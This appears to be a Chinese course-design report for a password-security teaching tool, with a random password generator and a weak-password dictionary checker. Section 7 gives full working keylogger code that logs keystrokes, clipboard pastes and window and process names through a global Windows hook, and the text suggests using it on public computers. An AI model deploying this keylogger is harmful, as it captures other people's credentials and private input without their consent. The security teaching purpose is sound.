《密码安全体验程序的设计与实现》
摘要
信息安全是一个新兴学科,在以往的密码安全意识教育课程当中,主要以历史事件,密码原理来引入课程,讲解一些密码算法,课程比较抽象学生难以直观的操作和理解。我们编写一个密码演示程序,让学生可以直接动手操作进行体验,提高学习的互动性趣味性和直观性,让学生能够在操作和体验当中提高兴趣理解其中的道理。
在密码的使用过程中,我们给出一个密码经常是弱密码,这样的密码有一定的规律可以比较容易记忆。但是使用弱密码,很容易就可以对你的密码进行破解。所以我们要编写一个密码工具程序,对给出的密码进行测试,确定这个密码是不是弱密码,是不是可以使用。并且我们给出的程序功能,需要自动生成强密码,并对密码进行测试确定不是弱密码。
在远程和本地监控Windows系统下用户操作行为的过程中,经常需要记录计算机键盘的输入和屏幕的输出。键盘记录是最古老的黑客技术之一,至今仍在不同的层面广泛使用,攻击者使用它是因为它能有效的捕获所需的敏感信息,如账号密码和聊天记录等。
大部分渗透测试框架和恶意软件都具有截取远程目标屏幕的能力,他能捕获打开的图片、播放的视频帧和其他一些敏感信息,这些信息一般能由数据抓包或键盘记录来获取。
1. 绪论
1.1 课题背景
信息安全是一个新兴学科,在以往的密码安全意识教育课程当中,主要以历史事件,密码原理来引入课程,讲解一些密码算法,课程比较抽象学生难以直观的操作和理解。我们编写一个密码演示程序,让学生可以直接动手操作进行体验,提高学习的互动性趣味性和直观性,让学生能够在操作和体验当中提高兴趣理解其中的道理。
在密码的使用过程中,我们给出一个密码经常是弱密码,这样的密码有一定的规律可以比较容易记忆。但是使用弱密码,很容易就可以对你的密码进行破解。所以我们要编写一个密码工具程序,对给出的密码进行测试,确定这个密码是不是弱密码,是不是可以使用。并且我们给出的程序功能,需要自动生成强密码,并对密码进行测试确定不是弱密码。
在远程和本地监控Windows系统下用户操作行为的过程中,经常需要记录计算机键盘的输入和屏幕的输出。虽然网上可以找到类似的程序,但是自己写的程序更灵活并且安全可靠。使用这个程序模块可以熟悉使用Python进行键盘记录和屏幕记录编程。键盘记录是最古老的黑客技术之一,至今仍在不同的层面广泛使用,攻击者使用它是因为它能有效的捕获所需的敏感信息,如账号密码和聊天记录等。强大的第三方Python库PyHook能够让我们很容易的捕获键盘事件。他利用了原生的Windows函数SetWindowsHookEx,这个函数允许我们安装自定义的钩子函数。当发生特殊的windows事件时,会调用这个钩子函数。通过注册键盘事件的钩子函数就能捕获目标机器触发的所有按键消息。
大部分渗透测试框架和恶意软件都具有截取远程目标屏幕的能力,他能捕获打开的图片、播放的视频帧和其他一些敏感信息,这些信息一般能由数据抓包或键盘记录来获取。我们使用第三方的PyWin32库,通过调用本地的Windows API的方式实现截屏功能。主要利用Windows图形设备借口(GUI)获得截取屏幕时必须的参数,如屏幕大小,分辨率等。
1.2 可行性研究
信息安全专业大部分都具有计算机机房,我们将要编写的程序运行环境要求不高,程序规模不大,既可以用来进行操作和体验,又可以让学生阅读代码,进行编程的学习,具有一定的实用性,符合学生的日常学习需求。
我们可以使用常用字符和随机数产生随机密码,并自动进行测试是否为弱密码。我们在网上可以下载获得一个密码字典,并自己进行维护。我们可以将自动生成的随机密码在密码字典当中进行查询。若在字典当中能够查到,我们认为此密码为弱密码,如果在密码字典当中无法查到,我们默认为非弱密码。如果发现密码字典当中不存在的弱密码,我们可以将此弱密码存入字典文件,增强密码字典以备程序进行查询。
强大的第三方Python库PyHook能够让我们很容易的捕获键盘事件。他利用了原生的Windows函数SetWindowsHookEx,这个函数允许我们安装自定义的钩子函数。当发生特殊的windows事件时,会调用这个钩子函数。通过注册键盘事件的钩子函数就能捕获目标机器触发的所有按键消息。
大部分渗透测试框架和恶意软件都具有截取远程目标屏幕的能力,他能捕获打开的图片、播放的视频帧和其他一些敏感信息,这些信息一般能由数据抓包或键盘记录来获取。我们使用第三方的PyWin32库,通过调用本地的Windows API的方式实现截屏功能。主要利用Windows图形设备借口(GUI)获得截取屏幕时必须的参数。
1.3 系统目标
编写一个密码演示程序,具有以下特点:
让学生可以直接动手操作进行体验。
提高学习的互动性趣味性和直观性。
让学生能够在操作和体验当中提高兴趣理解其中的道理。
程序需要进行弱密码演示,
当作密码工具,
可以进行密码抓取,
具有键盘记录功能,
可以进行屏幕抓取和加密解密演示。
能够对参与的班级、教师和学生的相关信息进行记录和维护。
2. 需求分析
2. 1 教学内容设计
能够使学生体验到密码相关的操作,能够阅读程序代码,辅助信息安全专业的学生初步接触密码相关的知识和技能。
弱密码演示程序模块,需要演示密码自动生成的原理,我们使用随机数,在一个字符列表当中随机抽取字符生成密码。我们对密码进行自动测试,如果在弱密码字典当中不存在此密码,我们就给出此密码,供学生日常使用或进行参考。
编写密码工具程序,对学生给出的密码进行自动测试,如果在弱密码字典当中存在则报告此密码为弱密码,如果弱密码字典当中不存在此密码,程序报告此密码不是弱密码。程序给出维护弱密码的功能,以便随时对弱密码字典进行维护。
密码抓取程序模块,密码抓取程序模块实现对网络当中的数据包进行抓取,并在网络数据包当中进行搜索和分析。监控网络数据包当中是存在明文发送的用户名和密码,如果存在就进行抓取并报告,获得了网络明文传输的账号和密码。
键盘记录模块,键盘记录模块需要对键盘输入进行监视,记录每一次键盘的按下。并可以将记录的信息存入文件,以备进行分析和查证。可以记录自己电脑的键盘记录,也可以记录公用电脑的键盘记录。以便对计算机的操作进行回溯。
屏幕抓取模块,使用屏幕抓取进行屏幕输入密码的记录,让学生了解在电脑上输入的密码随时都有可能被别人看到或者记录。以提高学生的密码安全意识。
密码暴力破解模块,解密演示模块,使用遍历所有可打印字符所有排列组合的方法对未知密码进行穷举攻击的解密程序。
教学信息管理模块,对参与的班级、教师和学生的相关信息进行记录和维护
2.3 功能需求
能够使学生体验到密码相关的操作,能够阅读程序代码,辅助信息安全专业的学生初步接触密码相关的知识和技能。
弱密码演示程序模块,需要演示密码自动生成的原理,我们使用随机数,在一个字符列表当中随机抽取字符生成密码。我们对密码进行自动测试,如果在弱密码字典当中不存在此密码,我们就给出此密码,供学生日常使用或进行参考。
编写密码工具程序,对学生给出的密码进行自动测试,如果在弱密码字典当中存在则报告此密码为弱密码,如果弱密码字典当中不存在此密码,程序报告此密码不是弱密码。程序给出维护弱密码的功能,以便随时对弱密码字典进行维护。
密码抓取程序模块,密码抓取程序模块实现对网络当中的数据包进行抓取,并在网络数据包当中进行搜索和分析。监控网络数据包当中是存在明文发送的用户名和密码,如果存在就进行抓取并报告,获得了网络明文传输的账号和密码。
键盘记录模块,键盘记录模块需要对键盘输入进行监视,记录每一次键盘的按下。并可以将记录的信息存入文件,以备进行分析和查证。可以记录自己电脑的键盘记录,也可以记录公用电脑的键盘记录。以便对计算机的操作进行回溯。
屏幕抓取模块,使用屏幕抓取进行屏幕输入密码的记录,让学生了解在电脑上输入的密码随时都有可能被别人看到或者记录。以提高学生的密码安全意识。
密码暴力破解模块,解密演示模块,使用遍历所有可打印字符所有排列组合的方法对未知密码进行穷举攻击的解密程序。
教学信息管理模块,对参与的班级、教师和学生的相关信息进行记录和维护
3. 系统设计
3.1 开发平台的选择
Windows7系统是学校信息安全计算机机房较常用的操作系统,此程序我们需要在Windows7操作系统下运行。
由于Python可以跨平台、具有大量的模块可以使用、开源,源码开放,容易入门,在这里我们使用Python作为开发和教学演示语言。python3是新的版本代表着python的发展方向,我们使用python3进行编程和教学演示。
sqlite3数据库可以方便的开发中小型程序,并可以方便的将使用此数据库编写的程序用于访问其它的关系型数据库进行移植和扩展,所以我们选用了sqlite3数据库。
3.2 系统结构(软件架构、模块组成)
软件架构
程序模块组成:
弱密码演示模块
密码抓取模块
键盘记录模块
屏幕抓取模块
加密解密模块
密码暴力破解模块
应用程序类
窗口框架类1
窗口框架类2
3.3 模块设计
编写基本的猜数字程序
(1)编写一个程序,用来进行输出。
(2)使用模块random中的函数randint()生成一个随机整数
(3)使用Python内置函数input()提示用户输入一个整数。
(4)对比两个数字,输出对比结果
加入新功能更新版本
(1)为猜数字程序加入连续猜数的功能
(2)测试并修改程序。
(3)给程序增加注释
编写密码工具程序
原形设计:
- 密码由大小写英文字母、数字、特殊符号组成,
- 将需要的字母、数字和符号放入列表,
- 使用random.sample()产生随机序列,
- 将选取的字符加入一个新的列表,
- 把生成的新列表中的字符连接成字符串作为密码
增加功能: - 根据输入控制密码位数,
- 测试弱密码功能
- 菜单功能
键盘记录
这个工具会自动检查目标是否切换窗口,从而捕捉对应的窗口录入信息,在Python程序中输出结果。
利用Python捕获键盘信息的步骤:
1.加载相关模块
2.分别构造进程和判断是否切换窗口的过程函数
3.创建和注册钩子函数管理器和相关设置
4.测试验证输出结果
屏幕抓取
本章使用第三方的PyWin32库,通过调用本地的Windows API的方式实现截屏功能。主要利用Windows图形设备借口(GUI)获得截取屏幕时必须的参数,如屏幕大小,分辨率等。
密码暴力破解
使用所有键盘可打印字符排列组合,进行遍历达到穷举攻击的效果,对未知密码进行暴力破解。
3.4 数据存储设计
密码字典数据采用文本文件进行存储。
静态数据
1、 班级
2、 教师
3、 学生
4、 课程
动态数据
1、 密码
4、数据库介绍
python带有sqlite3模块以及SQLite3数据库,因此在python中可以直接开始数据库设计。SQLite是一个轻量级的数据库,缺少很多诸如PostgreSQL这种数据库的功能,但非常便于构造原形系统,并且在很多情况下也是够用的。
SQLite3,是一款轻型的关系型数据库,它占用资源非常的低,能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如 Tcl、C#、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源的世界著名数据库管理系统来讲,它的处理速度比他们都快。
sqlite3数据库可以方便的开发中小型程序,并可以方便的将使用此数据库编写的程序用于访问其它的关系型数据库进行移植和扩展,所以我们选用了sqlite3数据库。
选用 SQLite3还有以下几个方面的原因:
• 不需要一个单独的服务器进程或操作的系统(无服务器的)。
• SQLite 不需要配置,这意味着不需要安装或管理。
• 一个完整的 SQLite 数据库是存储在一个单一的跨平台的磁盘文件。
• SQLite 是非常小的,是轻量级的,完全配置时小于 400KiB,省略可选功能配置时小于250KiB。
• SQLite 是自给自足的,这意味着不需要任何外部的依赖。
• SQLite 事务是完全兼容 ACID 的,允许从多个进程或线程安全访问。
• SQLite 支持 SQL92(SQL2)标准的大多数查询语言的功能。
• SQLite 使用 ANSI-C 编写的,并提供了简单和易于使用的 API。
• SQLite 可在 UNIX(Linux, Mac OS-X, Android, iOS)和 Windows(Win32, WinCE, WinRT)中运行。
4.1数据词典
4.2 ER图
4.3数据采集
在信息安全计算机机房进行人工数据采集
5. 系统实现
5.1用户界面设计
5. 2使用图片处理软件绘制软件界面
5.3 主要程序实现
在本程序的设计和编写过程中我们使用了原形法,快速迭代进行开发。首先进行了程序各模块的功能原形设计和实现并进行技术和需求验证,然后进行图形界面程序的设计和程序实现将各功能模块进行集成。
6、程序原形各功能模块功能实现
任务6.1 猜数字游戏
任务描述
项目经理要求我们编写猜数字游戏,从而模拟纯数字密码的生成与猜测。
任务分析
编写基本的猜数字程序
(1)编写一个程序,用来进行输出。
(2)使用模块random中的函数randint()生成一个随机整数
(3)使用Python内置函数input()提示用户输入一个整数。
(4)对比两个数字,输出对比结果
加入新功能更新版本
(1)为猜数字程序加入连续猜数的功能
(2)测试并修改程序。
(3)给程序增加注释
任务实施
6.1.1 编写基本的猜数字程序
步骤1:在项目一中我们已经完成了命令行交互操作时“Hello world!”的输出,如图6-1-1所示。
图6-1-1 交互输出
步骤2:下面我们编写一个程序,用来输出“Hello world!”,如图6-1-2所示。
图6-1-2 程序代码
步骤3:按F5执行,恭喜你,虽然这个程序只有一行代码,但是它已经可以运行了,如图6-1-3所示。
图6-1-3 程序输出
步骤4:我们将这个程序进行改进,使用模块random中的函数randint()生成一个随机整数,如图6-1-4所示。
图6-1-4 随机数生成
步骤5:程序每运行一次,就生成一个随机整数,如图6-1-5所示。
图6-1-5 随机数
步骤6:我们将这个程序进行改进加入输入功能,如图6-1-6所示。
图6-1-6 输入
步骤7:程序运行后输出一个从1到1000000之间的随机整数和一个用户输入的数字结果,如图6-1-7所示。
图6-1-7 输出
步骤8:使用int()内置函数将输入结果转换为整形,对比两个数字,如图6-1-8所示。
图6-1-8 对比
步骤9:运行结果如下,如图6-1-9所示。
图6-1-9 结果
6.1.2为猜数字程序加入连续猜数的功能
步骤1:增加猜测机会,生成1到100之间的随机数,给9次猜测的机会,如图6-1-10所示。
图6-1-10 改进
步骤2:运行结果如下,如图6-1-11所示。
图6-1-11 运行
6.1.3 测试并修改程序
步骤2:修改程序,给程序增加容错,增强程序的键壮性,如图6-1-12所示。
图6-1-12 容错
6.1.4 给程序增加注释
任务6.2 编写密码工具程序
任务描述
使用python编写一个密码工具程序
任务分析
1、原形设计:
6) 密码由大小写英文字母、数字、特殊符号组成,
7) 将需要的字母、数字和符号放入列表,
8) 使用random.sample()产生随机序列,
9) 将选取的字符加入一个新的列表,
10) 把生成的新列表中的字符连接成字符串作为密码
2、 增加功能:
4) 根据输入控制密码位数,
5) 测试弱密码功能
6) 菜单功能
任务实施
6.2.1生成随机密码
6.2.2 根据输入控制密码位数
至此我们已经写出一个自动生成16字符随机密码的小程序。现在大家思考下面两个问题:
我们可以人为的控制密码位数吗?
这个随机生成的密码你还能猜出来吗?
6.2.3 弱密码测试
本课程附了一个弱密码字典文件password.txt,使用该文件能猜测出网民常用的密码, password.txt文件内的部分内容如下:
国内网民常用的25个弱密码包括:000000、111111、11111111、112233、123123、123321、123456、12345678、654321、666666、888888、abcdef、abcabc、abc123、a1b2c3、aaa111、123qwe、qwerty、qweasd、admin、password、p@ssword、passwd、iloveyou、5201314、asdfghjkl、66666666、88888888
国外网民常用的25个弱密码包括:password、123456、12345678、qwerty、abc123、monkey、1234567、letmein、trustno1、dragon、baseball、111111、iloveyou、master、sunshine、ashley、bailey、passw0rd、shadow、123123、654321、superman、qazwsx、michael、football、asdfghjkl
#下面是程序的代码
import random
def randPass(length):
"""生成随机密码"""
charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'0','1','2','3','4','5','6','7','8','9','0',
'~','!','#','$','%','^','&','*','(',')','-','=','+','_']
try:
password = ''.join(random.sample(charList,length))
return(password)
except:
password = ''.join(random.sample(charList,16))
return(password)
def definLengPass():
try:
length = int(input("请输入密码长度,超过77将返回默认的16字符密码:"))
return(randPass(length))
except:
print('输入错误!')
exit
def findPass(password):
f = open('password.txt','r')
for line in f.readlines():
print(line,password)
if line.strip('\n') == password:
print("找到它了,这是一个弱密码")
break
def main():
flag = input('1.密码生成\n2.弱口令测试\n请选择(1/2):')
if flag == '1':
password = definLengPass()
print(password)
elif flag == '2':
password = input('请输入密码:')
findPass(password)
print(password)
else:
print('输入错误!')
main()
#下面是程序的代码
import random
def randPass(length):
"""生成随机密码"""
charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'0','1','2','3','4','5','6','7','8','9','0',
'~','!','#','$','%','^','&','*','(',')','-','=','+','_']
try:
password = ''.join(random.sample(charList,length))
return(password)
except:
password = ''.join(random.sample(charList,16))
return(password)
def definLengPass():
try:
length = int(input("请输入密码长度,超过77将返回默认的16字符密码:"))
return(randPass(length))
except:
print('输入错误!')
exit
def findPass(password):
f = open('password.txt','r')
for line in f.readlines():
#print(line,password)
if line.strip('\n') == password:
return(True)
#print("找到它了,这是一个弱密码")
break
f.close()
def testPass(password):
if findPass(password):
print(password+"密码字典中已经存在,这是一个弱密码")
else:
print(password+"密码字典中不存在,如果是一个弱密码,请加入密码字典!")
def saveToDicPass(password):
f = open('password.txt','a')
f.writelines('\n'+password)
f.close()
def menuDisply():
flag = input('''\n1.密码生成\n
2.弱口令测试\n
3.生成密码=>弱口令测试\n
4.添加弱口令字典\n
5.退出\n
请选择(1/2/3/4/5):''')
if flag == '1':
password = definLengPass()
print(password)
menuDisply()
elif flag == '2':
password = input('请输入密码:')
testPass(password)
menuDisply()
elif flag == '3':
password = definLengPass()
testPass(password)
menuDisply()
elif flag == '4':
password = input('请输入弱密码:')
if findPass(password):
print(password+"密码字典中已经存在")
else:
saveToDicPass(password)
if findPass(password):
print(password+"成功加入密码字典")
else:
print(password+"加入密码字典没有成功")
menuDisply()
elif flag == '5':
exit
else:
print('输入错误')
def main():
menuDisply()
main()
7、键盘记录与屏幕截取快照
任务7.1 编写键盘记录软件
任务描述
键盘记录是最古老的黑客技术之一,至今仍在不同的层面广泛使用,攻击者使用它是因为它能有效的捕获所需的敏感信息,如账号密码和聊天记录等。强大的第三方Python库PyHook能够让我们很容易的捕获键盘事件。他利用了原生的Windows函数SetWindowsHookEx,这个函数允许我们安装自定义的钩子函数。当发生特殊的windows事件时,会调用这个钩子函数。通过注册键盘事件的钩子函数就能捕获目标机器触发的所有按键消息。
任务分析
这个工具会自动检查目标是否切换窗口,从而捕捉对应的窗口录入信息,在Python程序中输出结果。
利用Python捕获键盘信息的步骤:
1.加载相关模块
2.分别构造进程和判断是否切换窗口的过程函数
3.创建和注册钩子函数管理器和相关设置
4.测试验证输出结果
任务实施
实验环境:windows7、Python2.7(如果系统中装有杀毒软件,运行时会有木马提示,点击允许。)
步骤1:代码注释要用到中文所以加载utf-8字符集,对键盘录入我们需要用到pyHook模块和PyWin32模块中的一些方法,导入ctypes 调用C函数,如图7-1-1所示。
#-*- coding: utf-8 -*-
#导入相关模块
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
#定义相关对象
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
图 7-1-1 引用相关模块
步骤2:我们需要定义一个过程函数来获得进程,并申请内存地址,然后获得窗口标题和输出字符,如图7-1-2所示。
#-*- coding: utf-8 -*-
#导入相关模块
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
#定义相关对象
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#定义获得进程的过程函数
def get_current_process():
# 获得窗口句柄
hwnd = user32.GetForegroundWindow()
# 获得进程的PID号
pid = c_ulong(0)
user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数
# 保存当前进程的PID号
process_id = "%d" % pid.value
print process_id
# 申请内存空间
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseName(h_process, None, byref(executable), 512)
# 读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出键盘字符
print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
图 7-1-2 定义打开URL的过程函数
步骤3:我们需要定义一个过程函数来判断是否切换窗口,输入字符是否为常规键,是否为剪贴板内容,如图7-1-3所示。
#-*- coding: utf-8 -*-
#导入相关模块
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
#定义相关对象
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#定义过程函数
def get_current_process():
# 获得窗口句柄
hwnd = user32.GetForegroundWindow()
# 获得进程的PID号
pid = c_ulong(0)
user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数
# 保存当前进程的PID号
process_id = "%d" % pid.value
print process_id
# 申请内存地址
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseName(h_process, None, byref(executable), 512)
# 读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出键盘字符
print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#定义键盘按键的过程函数
def KeyStroke(event):
global current_window
# 检查目标是否切换窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 通过Accii码值检测按键是否为常规键
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 如果输入为ctrl+v 则获取剪贴板内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
return True
图 7-1-3 定义获得图片地址的过程函数
步骤4:创建和注册钩子函数管理器,注册键盘记录的钩子并且永久执行,如图7-1-4所示。
#-*- coding: utf-8 -*-
#导入相关模块
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
#定义相关对象
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#定义过程函数
def get_current_process():
# 获得窗口句柄
hwnd = user32.GetForegroundWindow()
# 获得进程的PID号
pid = c_ulong(0)
user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数
# 保存当前进程的PID号
process_id = "%d" % pid.value
print process_id
# 申请内存地址
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseName(h_process, None, byref(executable), 512)
# 读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出键盘字符
print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#定义键盘按键的过程函数
def KeyStroke(event):
global current_window
# 检查目标是否切换窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 通过Accii码值检测按键是否为常规键
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 如果输入为ctrl+v 则获取剪贴板内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
return True
# 创建和注册钩子函数管理器
key1 = pyHook.HookManager()
key1.KeyDown = KeyStroke
# 注册键盘记录的钩子并且永久执行
key1.HookKeyboard()
pythoncom.PumpMessages()
图 7-1-4 对结果进行判断打印
任务7.2 屏幕截取快照
任务描述
大部分渗透测试框架和恶意软件都具有截取远程目标屏幕的能力,他能捕获打开的图片、播放的视频帧和其他一些敏感信息,这些信息一般能由数据抓包或键盘记录来获取。
任务分析
本章使用第三方的PyWin32库,通过调用本地的Windows API的方式实现截屏功能。主要利用Windows图形设备借口(GUI)获得截取屏幕时必须的参数,如屏幕大小,分辨率等。
任务实施
实验环境:Windows7、Python2.7
步骤1:先在D盘新建名称为test文件夹,导入调取windows桌面相关API的第三方模块。(图7-2-1)
#coding=utf-8
#导入调取windows桌面相关API的第三方模块
import win32gui
import win32ui
import win32con
import win32api
图 7-2-1 引用win32相关模块
步骤2:获得桌面窗口的句柄。(图7-2-2)
#coding=utf-8
import win32gui
import win32ui
import win32con
import win32api
#获得桌面